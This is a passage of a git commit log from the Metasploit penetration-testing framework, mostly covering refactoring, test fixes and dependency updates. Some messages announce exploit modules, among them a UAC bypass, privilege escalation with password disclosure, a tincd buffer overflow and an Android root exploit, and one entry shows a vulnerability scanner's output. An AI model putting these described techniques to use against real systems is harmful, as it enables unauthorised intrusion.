serialize database events, but it's unneeded because all database events
go directly through ActiveRecord, which handles threading.
2014-11-14 10:51:51 -06:00
Tod Beardsley 723028d5bc Land #4204, add missing migration 2014-11-14 10:32:35 -06:00
Spencer McIntyre 6b2387b7fc Prepare for a reverse_http stager 2014-11-14 11:15:22 -05:00
Luke Imhoff 8863367cc7 Merge branch 'chore/MSP-11615/update-db-schema' into chore/MSP-11614/remove-msf-db-manager-sink
MSP-11614
2014-11-14 10:12:18 -06:00
Luke Imhoff 9c72a195d8 Fail travis build if db/schema.rb is missing commit of update
MSP-11616

Use `git diff --exit-code` to exit with 1 and fail the build if there is
an update to db/schema.rb after `rake db:migrate` runs on travis.
2014-11-14 09:57:03 -06:00
Luke Imhoff 40c49cefd8 Update db/schema.rb
MSP-11615

To get type column on metasploit_credential_publics.
2014-11-14 09:39:26 -06:00
Luke Imhoff 8925db2ec1 Remove thread cleaner from Msf::Simple::Framework shared context
MSP-11605

The `framework` from 'Msf::Simple::Framework' shared context is not
guaranteed to make threads with `framework.threads` anymore, so the
cleaner shouldn't allows be present in 'Msf::Simple::Framework'.
2014-11-14 09:14:13 -06:00
Luke Imhoff 0c6b820f7d Remove unnecessary thread cleaning from Msf::Framework spec
MSP-11605
2014-11-14 09:11:35 -06:00
jvazquez-r7 428fe00183 Handle Rex::ConnectionTimeout 2014-11-13 22:34:28 -06:00
Jon Hart 57aef9a6f5 Land #4177, @hmoore-r7's fix for #4169 2014-11-13 18:29:57 -08:00
jvazquez-r7 4a0e9b28a4 Use peer 2014-11-13 19:26:01 -06:00
jvazquez-r7 4a06065774 Manage Exceptions to not wait the full wfs_delay 2014-11-13 19:17:09 -06:00
HD Moore 2abc636f16 Merge pull request #7 from jhart-r7/landing-4177-jhart
Clean up failure messaging when bad CHOST
2014-11-13 18:56:12 -06:00
Juan 77e5043be9 Merge pull request #1 from FireFart/pr1
some changes
2014-11-13 19:54:14 -05:00
jvazquez-r7 73ce4cbeaa Use primer 2014-11-13 18:21:19 -06:00
jvazquez-r7 0bcb99c47d Fix metadata 2014-11-13 18:00:11 -06:00
jvazquez-r7 a5c8152f50 Use fail_with 2014-11-13 17:57:26 -06:00
jvazquez-r7 6ddf6c3863 Fail when the loader cannot find the java payload class 2014-11-13 17:55:49 -06:00
William Vu 386a1912e5 Land #4201, release fixes 2014-11-13 15:52:24 -06:00
Christian Mehlmauer 3faa48d810 small bugfix 2014-11-13 22:51:41 +01:00
Christian Mehlmauer 7d6b6cba43 some changes 2014-11-13 22:46:53 +01:00
Matt Buck 651beb9acb Land #4192, enable specifying mode for Rex output file 2014-11-13 14:57:48 -06:00
Julio Auto 812aa9bc1a Reduce number of calls to to_s and downcase 2014-11-13 14:56:17 -06:00
Tod Beardsley e2dc862121 Fix newly introduced typo. 2014-11-13 14:53:57 -06:00
Tod Beardsley dd1920edd6 Minor typos and grammar fixes 2014-11-13 14:48:23 -06:00
Julio Auto e72d9bd21f Fix report_note handling incorrect protocol names 2014-11-13 14:30:43 -06:00
Luke Imhoff 69e726e2c9 Fail if 'Msf::Framework#threads cleaner' is unnecessary
MSP-11605

The 'Msf::Framework#threads cleaner' shared context fails with a
RuntimeError if `framework.threads?` is false, which would indicate that
cleaning is unnecessary.  This change stops 'Msf::Framework#threads
cleaner' from accessing `framework.threads`, which would create threads
only to immediately clean them up.
2014-11-13 14:22:40 -06:00
Luke Imhoff eb3ff769a9 Msf::Framework#threads?
MSP-11605

`Msf::Framework#threads?` returns whether `Msf::Framework#threads` was
ever initialized.  If `Msf::Framework#threads?` is true, then threads
need to be cleaned up, while if it is false then no threads need to be
cleaned up from the current framework.
2014-11-13 14:21:35 -06:00
Luke Imhoff d9a25005a6 Wrap Msf::Framework#threads in Metasploit::Framework::ThreadFactoryProvider
MSP-11605

`Rex::ThreadFactory.provider` needs to be set in
`Msf::Framework#initialize`, but setting it directly to
`Msf::Framework#threads` eliminates the laziness of
`Msf::Framework#threads`.  In order keep `framework.threads` lazy,
`framework` is wrapped in a
`Metasploit::Framework::ThreadFactoryProvider`, which responds to
`spawn`, which is needed by `Rex::ThreadFactory`, by calling
`framework.threads.spawn`, which lazily initialized `framework.threads`
when the first thread needs to be spawned.
2014-11-13 14:08:26 -06:00
Joe Vennix 714ce2f3ce Land #4198, @trosen-r7's fixes to XML import. 2014-11-13 14:07:12 -06:00
sinn3r 5a54537cbc Land #4196 - MS14-064 bypassing UAC 2014-11-13 13:55:31 -06:00
Luke Imhoff 0bc27334c1 Thread-safe lazy Msf::Framework#db
MSP-11605

Switch `Msf:Framework#db` from being set in `#initialize` to a custom
method that uses `||=` to lazily initialize the `Msf::DBManager` inside
a `synchronize` block to make it thread safe.
2014-11-13 13:38:53 -06:00
Luke Imhoff 92adaa816f Store Msf::Framework#initialize options
MSP-11605

Store options `Hash` passed to `Msf::Framework#new` in `#options` so
that lazily initialized children, such as DBManager, have access to
those options.
2014-11-13 13:23:17 -06:00
Luke Imhoff bc181f0294 Thread-safe lazy Msf::Framework#sessions
MSP-11605

Switch `Msf::Framework#sessions` from being set in `#initialize` to a
custom method that uses `||=` to lazily initialize the
`Msf::SessionManager` inside a `synchronize` block to make it thread
safe.
2014-11-13 13:17:57 -06:00
Trevor Rosen 0959ef3d13 Fixes lack of support for MetasploitV5 tag
#4184

* Appears to have been overlooked somehow in the pre-BlackHat crunch
* V5 will not support credentials
* We are implementing full-workspace zip import/export for credentials
2014-11-13 13:01:55 -06:00
Samuel Huckins cd7b69b699 Land #4197, blank username failure fix 2014-11-13 12:59:22 -06:00
Samuel Huckins 768d7477d7 metasploit-credential bump to 0.13.3
MSP-11609
2014-11-13 12:56:58 -06:00
David Maloney 49f10e6ed8 use latest version of metasploit-credential
MSP-11609
2014-11-13 11:26:05 -06:00
Luke Imhoff 216c3d01de Thread-safe lazy Msf::Framework#threads
MSP-11605

Switch Msf::Framework#threads to a custom method that uses `||=` to
lazily initialize the `Msf::ThreadManager` inside a `synchronize` block
to make it thread safe.
2014-11-13 11:12:43 -06:00
Luke Imhoff 8fc683d75d Use MonitorMixing in Msf::Framework
MSP-11605

To get access to `#synchronize` for thread-safe lazy initialization.
2014-11-13 11:11:34 -06:00
David Maloney ccc5bbd745 this spec needs to use the username factory
:metasploit-credential_public factory will randomly
return either a Username or BlankUsername and thus is
not appropriate for when you want tos et an explicit Username.
The :metasploit_credential_username factory should be used for this
instead

MSP-11609
2014-11-13 10:58:03 -06:00
Luke Imhoff 55aa32c6b6 Merge branch 'feature/MSP-11147/thread-leak-detection' into feature/MSP-11605/lazy-thread-creation
MSP-11605
2014-11-13 10:14:22 -06:00
Luke Imhoff b17b263cc7 Ignore debugger threads
MSP-11147

When using the debugger, it adds a thread that should be allowed and not
go towards the count.
2014-11-13 09:49:08 -06:00
Luke Imhoff 535f69b56d Append to RUBYOPT for debugger compatibility
MSP-11147

When using Rubymine's debugger, the tests would run and say there were
no tests and no break points would be hit.  It was determined that this
was due the Rubymine's debugger injecting itself into RUBYOPTS and only
working if it's first in RUBYOPT, which means that
'metasploit:framework:spec:threads:suite' must inject '-Ilib
-rmetasploit/framework/spec/threads/logger' at the end of RUBOPT instead
of the beginning.
2014-11-13 09:19:07 -06:00
Juan Escobar 17032b1eed Fix issue reported by FireFart 2014-11-13 04:48:45 -05:00
Peregrino Gris 80a9fa4b5d Ports default values added, is_internal REX function added, reference added 2014-11-13 10:10:25 +01:00
jvazquez-r7 31f3aa1f6d Refactor create packager methods 2014-11-13 01:16:15 -06:00
jvazquez-r7 38a96e3cfc Update target info 2014-11-13 00:56:42 -06:00
jvazquez-r7 e25b6145f9 Add module for MS14-064 bypassing UAC through python for windows 2014-11-13 00:56:10 -06:00
jvazquez-r7 f081ede2aa Land #4155, @pedrib's module for CVE-2014-8499
* Password Manager Pro privesc + password disclosure
2014-11-12 23:56:26 -06:00
Joe Vennix ea6d8860a1 Not root, just arbitrary permissions. 2014-11-12 21:51:55 -06:00
Jon Hart ebf6fe4e56 Minor style cleanup 2014-11-12 16:44:43 -08:00
sinn3r a5009170e7 Land #4185 - Add CVE-2014-6352 (ms14-060 aka sandworm) 2014-11-12 17:11:43 -06:00
Trevor Rosen f658efe144 Add the ability to specify mode in Rex output file
* Because sometimes you might want to append
* Preserves original hardcoded 'wb' as default
* http://pubs.opengroup.org/onlinepubs/009695399/functions/fopen.html
2014-11-12 16:08:03 -06:00
Jon Hart 07a1653e57 Add gather module for Quake servers 2014-11-12 13:32:56 -08:00
Pedro Ribeiro 9df31e950f Add OSVDB id 2014-11-12 21:32:33 +00:00
Tod Beardsley bfc7bfdd9a Land #4179, Meterpreter_bins update
Actually fixes #3787 as well, since this is the last component needed to
fix that.

See rapid7/meterpreter#102

Also see
https://github.com/rapid7/meterpreter_bins/commit/055eddeb183db30bfa0586652753c3e080d97273
as this brings the shipping binaries up to day with 055eddeb
2014-11-12 15:14:20 -06:00
sinn3r 846dbc7432 Fix #4163 - Update merge_check_key to keep up with 2.1.4 change
The merge_check_key method (found in Msf::Module::ModuleInfo)) uses
respond_to? to check is our object includes a merge_info_description
method before merging descriptions. The respond_to? method in 2.1.4
by default no longer checks private and protected methods, and this
is breaking our merge_check_key method.

Fix #4163
2014-11-12 13:46:14 -06:00
Luke Imhoff cca82f4b36 Failing spec for Msf::Framework.new threads
MSP-11605

`Msf::Framework.new` creates 8 threads (change from 1 thread to 9 threads), but
it shouldn't create any threads.
2014-11-12 13:41:30 -06:00
Luke Imhoff 2fc6154ce9 Update db/schema.rb
MSP-11147

Must be missing on master too.
2014-11-12 13:33:21 -06:00
Tod Beardsley 54158c8662 Land #4005, TNS poison checker 2014-11-12 13:29:59 -06:00
Tod Beardsley d242bc220b Minor fixups and disclosure date for TNS module 2014-11-12 13:25:10 -06:00
Tod Beardsley 955a5142ca Edit e-mail address for antispam 2014-11-12 13:19:04 -06:00
Luke Imhoff 69043d51e0 Merge branch 'master' into feature/MSP-11147/thread-leak-detection
MSP-11147
2014-11-12 12:34:25 -06:00
Luke Imhoff 44f78c21b2 Tag Msfcli spec as content
MSP-11147

Tests currently use the real modules directory for test cases, so the
spec should be tagged with :content because it has same performance
issues as other content specs that can potentially load all the modules.
2014-11-12 12:27:33 -06:00
Luke Imhoff 3ff87c89fe Clean up Msf::Framework spec thread-leaks
MSP-11147
2014-11-12 12:20:23 -06:00
Luke Imhoff 22cbc5ca02 Use named subject instead of subject
MSP-11147
2014-11-12 12:18:08 -06:00
Luke Imhoff 61109d5567 Fix thread-leaks in msfcli spec
MSP-11147
2014-11-12 12:13:53 -06:00
Fernando Arias e05cd95c9b Land #4188, remerge of #4168
update gemspec for metasploit-credential
2014-11-12 11:26:57 -06:00
David Maloney e0163a325d update metasploit-credential to 0.13.2 2014-11-12 11:16:51 -06:00
Luke Imhoff 5d48f123f6 Add #4045 to CHANGELOG 2014-11-12 11:15:58 -06:00
David Maloney c937982a28 Merge branch 'master' into bug/MSP-11592/blank-password-failure 2014-11-12 11:13:58 -06:00
David Maloney 758fee6320 Merge branch 'master' of github.com:rapid7/metasploit-framework
Conflicts:
	Gemfile.lock
2014-11-12 11:13:33 -06:00
Luke Imhoff ad811dc70c CHANGELOG template for next release 2014-11-12 11:13:22 -06:00
Luke Imhoff ad4ee3cffd Merge branch 'master' of rapid7.github.com:/rapid7/metasploit-framework 2014-11-12 11:10:48 -06:00
Luke Imhoff 1fd8fe57df Merge staging/great-backport to master
Conflicts:
	spec/lib/msf/core/module_spec.rb
2014-11-12 11:08:18 -06:00
Joe Vennix 1895311911 Change URL to single line. 2014-11-12 10:56:51 -06:00
sinn3r ac4b2bee4d Land #4181 - Fix nil URIPORT in get_uri (HttpServer) 2014-11-12 10:54:16 -06:00
Peregrino Gris 529f749abb Add post-exploitation module to get FW filtering rules 2014-11-12 17:38:49 +01:00
Joe Vennix 8689b0adef Add module for samsung knox root exploit. 2014-11-12 09:53:20 -06:00
jvazquez-r7 70589668c2 Really land the #4130 module 2014-11-12 09:39:01 -06:00
Jon Hart e658640014 Show uniq error count 2014-11-12 07:38:07 -08:00
jvazquez-r7 ece8013d7a Use #empty? 2014-11-12 09:35:06 -06:00
jvazquez-r7 f048463ed6 Do minor fixupts
* Delete peer method
* Make verifications more strict
2014-11-12 09:33:49 -06:00
Jon Hart b05198c05a Clean up failure messaging when bad CHOST 2014-11-12 07:32:06 -08:00
jvazquez-r7 a5c87db65e Do minor cleanup
* Beautify description
* Use double quotes for interpolation
2014-11-12 09:29:53 -06:00
jvazquez-r7 e1164d3e14 Use snake_case on filename 2014-11-12 09:26:47 -06:00
Luke Imhoff 8adc80fff1 Sort context entries
MSP-11147
2014-11-12 09:16:37 -06:00
Luke Imhoff 9766e61b7b Update Msfcli#engage_mode spec style
MSP-11147
2014-11-12 09:08:36 -06:00
Jon Hart ae339cb59f Land #4174, @hmoore-r7's fix for #4170 2014-11-12 07:02:22 -08:00
jvazquez-r7 c35dc2e6b3 Add module for CVE-2014-6352 2014-11-12 01:10:49 -06:00
William Vu b2612eaf1c Land #4180, Metasploit Trail banner
Homage to Oregon Trail. :)
2014-11-11 16:28:46 -06:00
William Vu adad3809cc Rename logo file 2014-11-11 16:07:44 -06:00
William Vu 89a8d27602 Fix port 0 bug in URIPORT 2014-11-11 15:57:41 -06:00
Joshua Smith 329ea4fe01 the masterpiece is complete 2014-11-11 15:35:36 -06:00
Luke Imhoff c0a3707c52 Update Msfcli#init_modules spec style
MSP-11147
2014-11-11 15:29:21 -06:00
William Vu c73a866932 Land #4178, remerge of #4113 2014-11-11 15:23:40 -06:00
OJ fb751e3b9f Update meterpreter_bins to 0.0.11
This adds support for the getsid command in the binaries.
2014-11-12 07:21:00 +10:00
Tod Beardsley 7e05f88399 Reapply PR #4113 (removed via #4175) 2014-11-11 15:06:43 -06:00
HD Moore 6b4eb9a8e2 Differentiate failed binds from connects, closes #4169
This change adds two new Rex exceptions and changes the local comm to raise the right one depending on the circumstances. The problem with the existing model is
that failed binds and failed connections both raised the same exception. This change is backwards compatible with modules that rescue Rex::AddressInUse in additi
on to Rex::ConnectionError. There were two corner cases that rescued Rex::AddressInUse specifically:

1. The 'r'-services mixin and modules caught the old exception when handling bind errors. These have been updated to use BindFailed
2. The meterpreter client had a catch for the old exception when the socket reports a bad destination (usually a network connection dropped). This has been updat
ed to use InvalidDestination as that was the intention prior to this change.

Since AddressInUse was part of ConnectionError, modules and mixins which caught both in the same rescue have been updated to just catch ConnectionError.
2014-11-11 14:59:41 -06:00
William Vu 2a6d288fe8 Land #4176, revert of 14514d7 2014-11-11 14:57:40 -06:00
Tod Beardsley 64aaa50132 Revert 14514d7 as well
Another one snuck in there, see #4175

Revert "update gemspec for metasploit-credential"

This reverts commit 14514d7b8b, reversing
changes made to 6653d5e913.
2014-11-11 14:53:04 -06:00
Luke Imhoff bb07de3294 Update Msfcli#generate_whitelist spec style
MSP-11147
2014-11-11 14:49:48 -06:00
William Vu baf7065e1b Land #4175, revert of deea30d 2014-11-11 14:43:48 -06:00
Tod Beardsley 017a44c0ae Revert errored merge of deea30d
Revert "Merge branch 'master' of https://github.com/farias-r7/metasploit-framework into upstream-master"

This reverts commit deea30ddb4, reversing
changes made to 14514d7b8b.
2014-11-11 14:38:47 -06:00
Luke Imhoff 965607c7dc Update Msfcli#guess_nop_name spec style
MSP-11147
2014-11-11 14:16:55 -06:00
Luke Imhoff 577065f68d Update Msfcli#guess_encoder_name spec style
MSP-11147
2014-11-11 14:14:50 -06:00
David Maloney 2d4cc8b21c update gemfile.lock to credential 13.2 2014-11-11 13:49:47 -06:00
Luke Imhoff d36da497d0 Update Msfcli#guess_payload_name spec style
MSP-11147
2014-11-11 13:47:16 -06:00
Fernando Arias deea30ddb4 Merge branch 'master' of https://github.com/farias-r7/metasploit-framework into upstream-master 2014-11-11 13:36:50 -06:00
Fernando Arias 14514d7b8b update gemspec for metasploit-credential 2014-11-11 13:35:00 -06:00
Luke Imhoff 1f1af70047 Update Msfcli#usage spec style
MSP-11147
2014-11-11 13:22:28 -06:00
HD Moore dbd5937dc7 Limit threads to 1 when CPORT is set, closes #4170
This issue also applies to TCP scanner modules.
2014-11-11 13:21:09 -06:00
Luke Imhoff ebec5329df Update Msfclie#dump_module_list spec style
MSP-11147
2014-11-11 13:21:06 -06:00
Luke Imhoff 56b53b0dcd Remove redundant 'it' in text name
MSP-11147
2014-11-11 13:16:45 -06:00
Luke Imhoff 5d6aec8bed Fix context prefix
MSP-11147

Instance methods should be prefixed with `#`, not `.`.
2014-11-11 13:14:34 -06:00
Luke Imhoff a6fed7798e Update Msfcli#usage spec style
MSP-11147
2014-11-11 13:11:40 -06:00
Luke Imhoff c6f115d070 Update Msfcli#initialize spec style
MSP-11147
2014-11-11 13:11:05 -06:00
sinn3r 719db5d2b1 Fix #4119 - SMB lost search ID (sid) in find_first method
This will fix issue #4119. A bug in the find_first method in rex
SMB.

When the SMB client requests a TRANS2_FIND_FIRST2 for retriving
information about what items a directory has, the server returns
a response that contains an SID - a search identifier for the
transaction. If the SMB client wants more data, it must send a
TRANS2_FIND_NEXT2 request with the same SID. And then the server
will continue sending more until it runs out.

The root cause of this bug is that after the TRANS2_FIND_FIRST2
request is sent, our SMB's find_first method forgets the SID at
the end of the loop (out of scope).
2014-11-11 12:35:07 -06:00
Jon Hart 9238d80a24 Use correct source port for NBNS spoofer
137 is only correct for systems that use this as their source port.
Systems running Samba, for example, don't use this.  So use the port
taken from the original request, not 137 or 1337
2014-11-11 10:33:27 -08:00
Luke Imhoff 86379db65c Remove incorrect 'Class methods' context
MSP-11147
2014-11-11 12:32:22 -06:00
Luke Imhoff 36ab73b83a Extract Msfcli#framework
MSP-11147

Expose Msfcli @framework as Msfcli#framework so that it can be set in
tests.  It also allows Msfcli#framework to lazily initialize and memoize
to @framework.
2014-11-11 12:25:14 -06:00
Luke Imhoff cf0ecd0367 Fix thread leaks in TaskManager spec
MSP-11147
2014-11-11 12:02:14 -06:00
HD Moore 96ba6da697 Add the UDP scanner template, lands #4113.
There is some additional work to do regarding CHOST/CPORT, but this is not tied to the udp template changes.
2014-11-11 11:59:30 -06:00
Luke Imhoff eede74be1e Extract 'Msf::Framework#threads cleaner'
MSP-11147

Extract from 'Msf::Simple::Framework' the `after(:each)` that kills and joins
threads from `framework.threads` into 'Msf::Framework#threads cleaner`.
2014-11-11 11:49:48 -06:00
jvazquez-r7 6653d5e913 Land #4168, @nullbind's MS SQL SUSER_SNAME login enumeration module 2014-11-11 11:17:39 -06:00
jvazquez-r7 01fda27264 Fix title 2014-11-11 11:15:53 -06:00
jvazquez-r7 a588bfd31a Use single quotes 2014-11-11 09:56:46 -06:00
jvazquez-r7 77c8dc2b64 Dont return nil from 'run' 2014-11-11 09:39:08 -06:00
jvazquez-r7 fb309aae11 Use a Fixnum as FuzzInt default value 2014-11-11 09:36:53 -06:00
jvazquez-r7 f6762b41b6 Use random fake db name 2014-11-11 09:35:51 -06:00
jvazquez-r7 94c353222d Do small cosmetic changes 2014-11-11 09:31:57 -06:00
jvazquez-r7 e9e5869951 update from master 2014-11-11 09:24:33 -06:00
Nikita c0285067c9 Add new module to test TNS poison
msf auxiliary(tnspoison_checker) > show options 

Module options (auxiliary/scanner/oracle/tnspoison_checker1):

   Name     Current Setting                          Required  Description
   ----     ---------------                          --------  -----------
   RHOSTS   172.16.2.100, 172.16.2.24, 172.16.2.101  yes       The target address range or CIDR identifier
   RPORT    1521                                     yes       The target port
   THREADS  1                                        yes       The number of concurrent threads

msf auxiliary(tnspoison_checker) > exploit 

[+] 172.16.2.100:1521 is vulnerable
[*] Scanned 1 of 3 hosts (033% complete)
[-] 172.16.2.24:1521 is not vulnerable 
[*] Scanned 2 of 3 hosts (066% complete)
[-] 172.16.2.101:1521 unable to connect to the server
[*] Scanned 3 of 3 hosts (100% complete)
[*] Auxiliary module execution completed
2014-11-11 17:29:27 +03:00
Juan Escobar ac17780f6d Fix by @FireFart to recover communication with the application after a meterpreter session 2014-11-11 05:49:18 -05:00
Juan Escobar 6bf1f613b6 Fix issues reported by FireFart 2014-11-11 00:41:58 -05:00
jvazquez-r7 091da05a86 update from master 2014-11-10 22:59:44 -06:00
OJ 39b8bcc808 Merge branch 'upstream/master' of github.com:rapid7/metasploit-framework 2014-11-11 09:25:37 +10:00
OJ 4987f77526 Land #4157 - Add getsid to python meterpreter 2014-11-11 09:24:51 +10:00
jvazquez-r7 3faf4a4702 Land #4120, @nullbind's module for MS SQL privilege escalation
* through ESCALATE AS
2014-11-10 16:59:28 -06:00
jvazquez-r7 cac6494427 Use snake_case in filename 2014-11-10 16:58:46 -06:00
jvazquez-r7 2c33642de8 Do minor cleanup 2014-11-10 16:57:57 -06:00
jvazquez-r7 12ae8b3ec6 update from master 2014-11-10 16:19:26 -06:00
nullbind 493b81d874 cleanup 2014-11-10 15:22:21 -06:00
nullbind 31fa57fcb2 mssql_enum_sql_logins 2014-11-10 15:19:55 -06:00
Scott Sutherland d543b16cc1 Added mssql_enum_sql_logins.rb 2014-11-10 15:02:46 -06:00
Scott Sutherland ea226f7482 Update mssql_enum_sql_logins.rb 2014-11-10 15:02:14 -06:00
jvazquez-r7 0a68171bab Land #4166, @wchen-r7's fix for undefined method `rank'
* Fixes #4047
* undefined method `rank' due to an invalid encoder name
2014-11-10 15:00:17 -06:00
David Maloney bf1558d702 update gemspec for metasploit-credential
update gemspec to use newest metasploit-credential

MSP-11592
2014-11-10 14:54:09 -06:00
Juan Escobar d4bbf0fe39 Fix issues reported by wchen-r7 and mmetince 2014-11-10 15:27:10 -05:00
jvazquez-r7 86ff5f93eb Land #4158, Fix for null dereference on Exploit::Remote::HttpServer#remove_resource 2014-11-10 14:14:48 -06:00
jvazquez-r7 4e96833408 Check service before using it 2014-11-10 14:14:20 -06:00
jvazquez-r7 1064049729 Revert "Fix buggy calls to stop_service"
This reverts commit 613f5309bb.
2014-11-10 14:05:57 -06:00
Pedro Ribeiro cc99a6a96f Merge pull request #9 from jvazquez-r7/review_4155
Clean exploit for CVE-2014-8499 - PMP privesc + password disclosure
2014-11-10 19:44:28 +00:00
nullbind 74344e9295 added mssql_enum_sql_logins 2014-11-10 13:42:52 -06:00
sinn3r 0b51741779 Fix #4047 - undefined method `rank' due to an invalid encoder name
Fix #4047 caused by an invalid encoder name. Also added elog() to
avoid shutting everything up in msfvenom
2014-11-10 13:25:53 -06:00
jvazquez-r7 4b701700c1 Fix banner 2014-11-10 12:40:53 -06:00
Jon Hart 7ed11ffd52 Check for INTERFACE or SMAC in dtp setup 2014-11-10 10:14:47 -08:00
jvazquez-r7 65dbb1a83f Do print_status 2014-11-10 11:26:53 -06:00
jvazquez-r7 7aed1e9581 Create loot_passwords method 2014-11-10 11:21:44 -06:00
jvazquez-r7 92df11baa7 Create report_super_admin_creds method 2014-11-10 11:16:25 -06:00
jvazquez-r7 8f17011909 do run clean up
* Reduce code complexity
* Don't report not valid administrator credentials
2014-11-10 11:12:04 -06:00
jvazquez-r7 635df2f233 Fail with NoAccess 2014-11-10 09:50:26 -06:00
jvazquez-r7 9c033492d2 Fix indentation 2014-11-10 09:48:22 -06:00
jvazquez-r7 2236518694 Check res.body before accessing #to_s 2014-11-10 09:47:05 -06:00
jvazquez-r7 8b8ab61e3d Favor && over and 2014-11-10 09:45:12 -06:00
jvazquez-r7 ee4924582a Use target_uri 2014-11-10 09:43:44 -06:00
jvazquez-r7 8ddd6a4655 Redefine RPORT having into account it is builtin 2014-11-10 09:42:30 -06:00
jvazquez-r7 eb36a36272 Change title 2014-11-10 09:40:22 -06:00
Trevor Rosen 8511dc4131 Merge branch 'landing/4135' into upstream-master
Land #4135

* Improve Bundle management:
* Option to install w/out DB group
* Option to install w/out pcap support
2014-11-10 09:26:42 -06:00
Spencer McIntyre 7edc248207 Don't fail if username_from_token returns None 2014-11-10 09:15:16 -05:00
floyd 9d848c8c3b Adding tincd post-auth stack buffer overflow exploit module for several OS
Minor changes to comments

Updated URLs

Added Fedora ROP, cleaned up

Fixing URLs again, typos

Added support for Archlinux (new target)

Added support for OpenSuse (new target)

Tincd is now a separate file, uses the TCP mixin/REX sockets.

Started ARM exploiting

Style changes, improvements according to egyp7's comments

Style changes according to sane rubocop messages

RSA key length other than 256 supported. Different key lengths for client/server supported.

Drop location for binary can be customized

Refactoring: Replaced pop_inbuffer with slice

Refactoring: fail_with is called, renamed method to send_recv to match other protocol classes,
using rand_text_alpha instead of hardcoded \x90,

Fixed fail command usage

Version exploiting ARM with ASLR brute force

Cleaned up version with nicer program flow

More elegant solution for data too large for modulus

Minor changes in comments only (comment about firewalld)

Correct usage of the TCP mixin

Fixes module option so that the path to drop the binary on the server is not validated against the local filesystem

Added comments

Minor edits

Space removal at EOL according to msftidy
2014-11-10 12:03:17 +01:00
Meatballs feaae6d531 Merge remote-tracking branch 'upstream/master' 2014-11-10 09:42:34 +00:00
Joshua Smith 1844b3956d Land #4063 allow session lists
Note: the parsing for cmd_sessions  needs to be revamped and DRYd up in
a separate PR.
2014-11-09 22:40:53 -06:00
Joshua Smith 03a988b5dc Land #4150, adds getsid command
Fixes #3787
2014-11-09 22:10:22 -06:00
William Vu 88810ce836 Land #4161, "fullname" NilClass fix 2014-11-09 20:07:37 -06:00
William Vu 0e772cc338 Land #4161, "stop" NilClass fix 2014-11-09 19:37:32 -06:00
OJ eb830cb361 Idiomaticise the rubies 2014-11-10 07:44:36 +10:00
sinn3r 7980a7052c Fix #4132 - msfvenom undefined method fullname for NilClass 2014-11-09 14:27:59 -06:00
sinn3r 8f3b1e71b3 Fix #4156 - NoMethodError undefined method `stop'
This will fix #4156. It also fixes NoMethodError payload_exe
when I was trying to fix the undef 'stop' one
2014-11-09 14:07:02 -06:00
sinn3r cd0dbc0e24 Missed another 2014-11-09 14:06:39 -06:00
Juan Escobar 9cce7643ab update description and fix typos 2014-11-09 09:10:01 -05:00
Juan Escobar 5d17637038 Add CVE-2014-7146 PHP Code Execution for MantisBT 2014-11-09 08:00:44 -05:00
Pedro Ribeiro b3c27452cd Add full disclosure URL 2014-11-09 10:40:41 +00:00
Julio Auto 613f5309bb Fix buggy calls to stop_service 2014-11-09 02:15:30 -06:00
Deral Heiland 5bf8901822 Fixed several recommended changes by jvazquez-r7, Also Correct a XML parsing issue 2014-11-09 02:43:36 -05:00
Spencer McIntyre 104841babf Add getsid to the python meterpreter 2014-11-08 20:57:24 -05:00
jvazquez-r7 bc5529396f Land #4137, @pedrib's module for Eventlog CVE-2014-6038/6039 2014-11-08 08:12:11 -06:00
Pedro Ribeiro f680b666c7 Add github adv URL 2014-11-08 11:29:36 +00:00
Pedro Ribeiro 143033f657 Rename manageengine_pmp_sadmin.rb to manageengine_pmp_privesc.rb 2014-11-08 11:28:04 +00:00
Pedro Ribeiro 2843437ca9 Create exploit for CVE-2014-8499 2014-11-08 11:24:50 +00:00
Pedro Ribeiro 7d2d0aa166 Merge pull request #8 from rapid7/master
bla
2014-11-08 11:22:41 +00:00
Pedro Ribeiro e7b448537f Add OSVDB ids 2014-11-08 11:05:34 +00:00
Pedro Ribeiro bf7c7688c0 Merge pull request #7 from jvazquez-r7/review_4137
Review Eventlog Analzyer exploit for CVE-2014-6038/6039
2014-11-08 11:04:28 +00:00
jvazquez-r7 9d6e0664a4 Guess service name and port 2014-11-07 20:56:01 -06:00
jvazquez-r7 a44640c9fc Use single quotes 2014-11-07 20:48:04 -06:00
jvazquez-r7 7c1c08fc19 Use single quotes without interpolation 2014-11-07 20:46:47 -06:00
jvazquez-r7 0373156cce Use unless over if not 2014-11-07 20:42:08 -06:00
jvazquez-r7 f5a920da99 Use || operator 2014-11-07 20:41:44 -06:00
jvazquez-r7 64754a5609 Delete unnecessary begin..end block 2014-11-07 20:38:36 -06:00
jvazquez-r7 0919f74a3d Delete unused variable 2014-11-07 20:37:57 -06:00
jvazquez-r7 22b875d0f3 Reduce code complexity 2014-11-07 20:37:40 -06:00
jvazquez-r7 b1517e6ace Delete unnecessary nil comparision 2014-11-07 20:34:13 -06:00
jvazquez-r7 aa1fec7f02 Use fail_with 2014-11-07 20:33:33 -06:00
jvazquez-r7 d630eac272 Reduce code complexity 2014-11-07 20:32:15 -06:00
jvazquez-r7 cea30b5427 Use built-in format for RPORT 2014-11-07 20:30:32 -06:00
jvazquez-r7 e99cc00a57 No more than 100 columns on description 2014-11-07 20:29:38 -06:00
William Vu a830c28012 Land #4151, downcase nil deref. fix 2014-11-07 11:43:22 -06:00
Jon Hart 2b7d25950b Land #4148, @wchen-r7 fixed #4133 2014-11-07 08:26:29 -08:00
sinn3r e54442af36 Fix #4089 - undefined method `downcase' for nil:NilClass 2014-11-07 02:45:22 -06:00
sinn3r 0dbfecba36 Better method name
Should be srvhost, not lhost
2014-11-07 02:23:34 -06:00
Pedro Ribeiro c00a3ac9cd Add full disclosure URL 2014-11-07 08:06:21 +00:00
OJ 08e707225c Add support for the getsid command
There has been Meterpreter work done as well to support this. But this
commit allows for a new 'getsid' command which tells you the sid of the
current process/thread. This can be used for things like determining
whether the current process is running as system. It could also be used
for golden ticket creation, among other things.
2014-11-07 10:38:22 +10:00
Trevor Rosen b5220c8881 Update metasploit-framework-full.gemspec
Fix typo
2014-11-06 17:07:48 -06:00
Pedro Ribeiro 8a0249cdbf Address Juan's points 2014-11-06 21:02:28 +00:00
sinn3r 579481e5f8 Explain why I did this
Also tagging Fix #4133
2014-11-06 14:25:11 -06:00
sinn3r f210ade253 Use SRVHOST for msvidctl_mpeg2 2014-11-06 14:23:21 -06:00
Luke Imhoff 8416985c9d Give Threads UUIDs for spec run so caller can be correlated
Have 'metasploit/framework/spec/threads/suite/logger' generate a UUID
for each Thread.  This UUID is printed on the "BEGIN Thread.new caller"
line and is assigned as a thread-local variable,
